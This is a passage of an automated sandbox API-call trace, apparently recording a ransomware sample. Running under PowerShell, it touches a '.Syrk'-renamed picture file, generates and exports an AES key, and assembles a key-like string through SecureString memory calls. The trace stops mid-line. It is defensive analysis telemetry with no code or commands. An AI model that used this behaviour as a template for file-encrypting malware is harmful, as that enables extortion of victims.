[0248.899] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg.syrk")) returned 0x20 [0248.899] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0248.899] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk", lpFilePart=0x0) returned 0x2a [0248.900] EtwEventActivityIdControl () returned 0x0 [0248.900] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.901] EtwEventActivityIdControl () returned 0x0 [0248.901] EtwEventActivityIdControl () returned 0x0 [0248.901] EtwEventActivityIdControl () returned 0x0 [0248.905] EtwEventActivityIdControl () returned 0x0 [0248.905] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.906] EtwEventActivityIdControl () returned 0x0 [0248.906] EtwEventActivityIdControl () returned 0x0 [0248.906] EtwEventActivityIdControl () returned 0x0 [0248.909] EtwEventActivityIdControl () returned 0x0 [0248.909] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.910] EtwEventActivityIdControl () returned 0x0 [0248.910] EtwEventActivityIdControl () returned 0x0 [0248.910] EtwEventActivityIdControl () returned 0x0 [0248.914] EtwEventActivityIdControl () returned 0x0 [0248.914] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.914] EtwEventActivityIdControl () returned 0x0 [0248.914] EtwEventActivityIdControl () returned 0x0 [0248.914] EtwEventActivityIdControl () returned 0x0 [0248.918] EtwEventActivityIdControl () returned 0x0 [0248.918] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.918] EtwEventActivityIdControl () returned 0x0 [0248.919] EtwEventActivityIdControl () returned 0x0 [0248.919] EtwEventActivityIdControl () returned 0x0 [0248.923] EtwEventActivityIdControl () returned 0x0 [0248.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0248.926] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2540d74 | out: lpFileInformation=0x2540d74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffcd270, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xffcd270, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xfff33d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x8914)) returned 1 [0248.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0248.927] GetConsoleOutputCP () returned 0x1b5 [0248.966] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.966] GetConsoleOutputCP () returned 0x1b5 [0248.966] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.966] GetConsoleOutputCP () returned 0x1b5 [0248.966] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.966] GetConsoleOutputCP () returned 0x1b5 [0248.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.967] GetConsoleOutputCP () returned 0x1b5 [0248.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.967] GetConsoleOutputCP () returned 0x1b5 [0248.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.967] GetConsoleOutputCP () returned 0x1b5 [0248.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.967] GetConsoleOutputCP () returned 0x1b5 [0248.967] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.967] GetConsoleOutputCP () returned 0x1b5 [0248.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.968] GetConsoleOutputCP () returned 0x1b5 [0248.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.968] GetConsoleOutputCP () returned 0x1b5 [0248.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.968] GetConsoleOutputCP () returned 0x1b5 [0248.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.968] GetConsoleOutputCP () returned 0x1b5 [0248.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.968] GetConsoleOutputCP () returned 0x1b5 [0248.969] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.969] GetConsoleOutputCP () returned 0x1b5 [0248.969] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.969] GetConsoleOutputCP () returned 0x1b5 [0248.969] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.969] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0248.969] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0248.970] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x255a938*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x255a938*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0248.970] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0248.970] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0248.971] EtwEventActivityIdControl () returned 0x0 [0248.971] EtwEventActivityIdControl () returned 0x0 [0248.971] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.972] EtwEventActivityIdControl () returned 0x0 [0248.972] EtwEventActivityIdControl () returned 0x0 [0248.972] EtwEventActivityIdControl () returned 0x0 [0248.973] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.974] EtwEventActivityIdControl () returned 0x0 [0248.974] EtwEventActivityIdControl () returned 0x0 [0248.974] EtwEventActivityIdControl () returned 0x0 [0248.975] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0248.976] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99520) returned 1 [0248.976] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.977] CryptExportKey (in: hKey=0x5c99520, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0248.977] CryptExportKey (in: hKey=0x5c99520, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2562310, pdwDataLen=0x5a2e8c4 | out: pbData=0x2562310*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0248.977] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.977] EtwEventActivityIdControl () returned 0x0 [0248.977] EtwEventActivityIdControl () returned 0x0 [0248.977] EtwEventActivityIdControl () returned 0x0 [0248.978] SysStringLen (param_1="") returned 0x8 [0248.978] SysStringLen (param_1="U") returned 0x8 [0248.978] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.978] SysStringLen (param_1="宗湲䐤⒈唚") returned 0x8 [0248.978] SysStringLen (param_1="宗湲䐤⒈唚") returned 0x8 [0248.978] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.979] SysStringLen (param_1="U+") returned 0x8 [0248.979] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.979] SysStringLen (param_1="੊峻原\壝−) returned 0x8 [0248.979] SysStringLen (param_1="੊峻原\壝−) returned 0x8 [0248.979] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.979] SysStringLen (param_1="U+n") returned 0x8 [0248.979] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.979] SysStringLen (param_1="㲹倝崤ᢶꙓ땣") returned 0x8 [0248.979] SysStringLen (param_1="㲹倝崤ᢶꙓ땣") returned 0x8 [0248.979] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.979] SysStringLen (param_1="U+nO") returned 0x8 [0248.979] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.979] SysStringLen (param_1="筞괤ؔ⌃렉✪㷋") returned 0x8 [0248.979] SysStringLen (param_1="筞괤ؔ⌃렉✪㷋") returned 0x8 [0248.979] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.980] SysStringLen (param_1="U+nOv") returned 0x8 [0248.980] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.980] SysStringLen (param_1="\⻚♐\ᷛ䘅ʱⵆ砄") returned 0x8 [0248.980] SysStringLen (param_1="\⻚♐\ᷛ䘅ʱⵆ砄") returned 0x8 [0248.980] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.980] SysStringLen (param_1="U+nOvk") returned 0x8 [0248.980] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.980] SysStringLen (param_1="ཱྀꋢ눥ﴛ꾟ࢨ⦶") returned 0x8 [0248.980] SysStringLen (param_1="ཱྀꋢ눥ﴛ꾟ࢨ⦶") returned 0x8 [0248.980] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.980] SysStringLen (param_1="U+nOvkD") returned 0x8 [0248.980] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.980] SysStringLen (param_1="㹇᪊㍒ꌾ玟⑞斒呿") returned 0x8 [0248.980] SysStringLen (param_1="㹇᪊㍒ꌾ玟⑞斒呿") returned 0x8 [0248.980] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.981] SysStringLen (param_1="U+nOvkDx") returned 0x8 [0248.981] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.981] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ") returned 0x8 [0248.981] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ") returned 0x8 [0248.981] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ") returned 0x8 [0248.981] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ") returned 0x10 [0248.982] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.982] SysStringLen (param_1="U+nOvkDxL≐폲摎仔퓃㘯") returned 0x10 [0248.982] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.982] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ퓾뺙냁⊸ㇹ꧎釨") returned 0x10 [0248.982] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ퓾뺙냁⊸ㇹ꧎釨") returned 0x10 [0248.982] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.982] SysStringLen (param_1="U+nOvkDxLY폲摎仔퓃㘯") returned 0x10 [0248.982] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.982] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ洵\맜ꢚꝈꟳ儣ㅶ∦) returned 0x10 [0248.982] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ洵\맜ꢚꝈꟳ儣ㅶ∦) returned 0x10 [0248.982] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.982] SysStringLen (param_1="U+nOvkDxLYY摎仔퓃㘯") returned 0x10 [0248.982] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.982] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ뻺⩃낭\拡蚒≶) returned 0x10 [0248.982] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ뻺⩃낭\拡蚒≶) returned 0x10 [0248.982] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.983] SysStringLen (param_1="U+nOvkDxLYY8摎仔퓃㘯") returned 0x10 [0248.983] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.983] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ篝䔕棳驄碬") returned 0x10 [0248.983] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ篝䔕棳驄碬") returned 0x10 [0248.983] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.983] SysStringLen (param_1="U+nOvkDxLYY8+仔퓃㘯") returned 0x10 [0248.983] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.983] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ捀薟\觙幩퇟氧≹) returned 0x10 [0248.983] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ捀薟\觙幩퇟氧≹) returned 0x10 [0248.983] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.983] SysStringLen (param_1="U+nOvkDxLYY8+j퓃㘯") returned 0x10 [0248.983] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.983] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ傿囶麟㒋鏿徘䨷ㅖ") returned 0x10 [0248.983] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ傿囶麟㒋鏿徘䨷ㅖ") returned 0x10 [0248.983] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.984] SysStringLen (param_1="U+nOvkDxLYY8+js㘯") returned 0x10 [0248.984] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.984] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ穃䔇ꀐ஌柲இ㵅ࢽ") returned 0x10 [0248.984] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ穃䔇ꀐ஌柲இ㵅ࢽ") returned 0x10 [0248.984] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.984] SysStringLen (param_1="U+nOvkDxLYY8+jsj") returned 0x10 [0248.984] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.984] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶") returned 0x10 [0248.984] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶") returned 0x10 [0248.984] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶") returned 0x10 [0248.984] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶") returned 0x18 [0248.984] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.985] SysStringLen (param_1="U+nOvkDxLYY8+jsj9찱뙬묄ィꉨ῍") returned 0x18 [0248.985] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.985] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶텢セῃ忂㭱ủ봀슘") returned 0x18 [0248.985] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶텢セῃ忂㭱ủ봀슘") returned 0x18 [0248.985] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.985] SysStringLen (param_1="U+nOvkDxLYY8+jsj9D뙬묄ィꉨ῍") returned 0x18 [0248.985] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.985] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶픉忥쮿씵黿\鋞㪦⋃) returned 0x18 [0248.985] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶픉忥쮿씵黿\鋞㪦⋃) returned 0x18 [0248.985] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.985] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DE묄ィꉨ῍") returned 0x18 [0248.985] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.985] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ꚸ覼⸣嫹ﯫ踷｟") returned 0x18 [0248.985] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ꚸ覼⸣嫹ﯫ踷｟") returned 0x18 [0248.985] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.986] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAィꉨ῍") returned 0x18 [0248.986] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.986] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᑟ\䧜鷻䛶駉垳壟≎) returned 0x18 [0248.986] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᑟ\䧜鷻䛶駉垳壟≎) returned 0x18 [0248.986] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.986] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkィꉨ῍") returned 0x18 [0248.986] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.986] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶豺䷥\췜峟摆铆홙≟) returned 0x18 [0248.986] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶豺䷥\췜峟摆铆홙≟) returned 0x18 [0248.986] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.986] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXꉨ῍") returned 0x18 [0248.986] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.986] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶㬎ோיִ颵\ⓚ栄ᬃ⋐) returned 0x18 [0248.986] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶㬎ோיִ颵\ⓚ栄ᬃ⋐) returned 0x18 [0248.986] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.986] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC῍") returned 0x18 [0248.986] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.987] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶쒙뀔▹᮱괟겝̽") returned 0x18 [0248.987] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶쒙뀔▹᮱괟겝̽") returned 0x18 [0248.987] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.987] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC2") returned 0x18 [0248.987] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.987] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ") returned 0x18 [0248.987] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ") returned 0x18 [0248.987] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ") returned 0x18 [0248.987] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ") returned 0x20 [0248.987] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.987] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21᩶㭓鯶Ц藦刑ᫀ") returned 0x20 [0248.987] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.988] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ䊂귞ᆥ勵ꭇ⪪") returned 0x20 [0248.988] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ䊂귞ᆥ勵ꭇ⪪") returned 0x20 [0248.988] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.988] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21l㭓鯶Ц藦刑ᫀ") returned 0x20 [0248.988] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.988] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ셗⾮ќ툥颅\≐) returned 0x20 [0248.988] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻ셗⾮ќ툥颅\≐) returned 0x20 [0248.988] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.988] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lK鯶Ц藦刑ᫀ") returned 0x20 [0248.988] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.988] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙ⅢퟻԾ再뿟辐脾♂趥") returned 0x20 [0248.988] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙ⅢퟻԾ再뿟辐脾♂趥") returned 0x20 [0248.988] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.988] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKaЦ藦刑ᫀ") returned 0x20 [0248.988] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.988] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻᤅ\糜ꀞ鍥컚왔덦⊥) returned 0x20 [0248.988] SysStringLen (param_1="秋᫅꒛劦Ʞﬔ잀섅NJ滔蛜턛틶ᮬ⋣䰺ℸ迉㎙Ⅲퟻᤅ\糜ꀞ鍥컚왔덦⊥) returned 0x20 [0248.988] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.989] SysStringLen (param_1="U+nOvkDxLYY8+jsj9DEAkXC21lKa/藦刑ᫀ") returned 0x20 [0248.989] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.989] SysStringLen 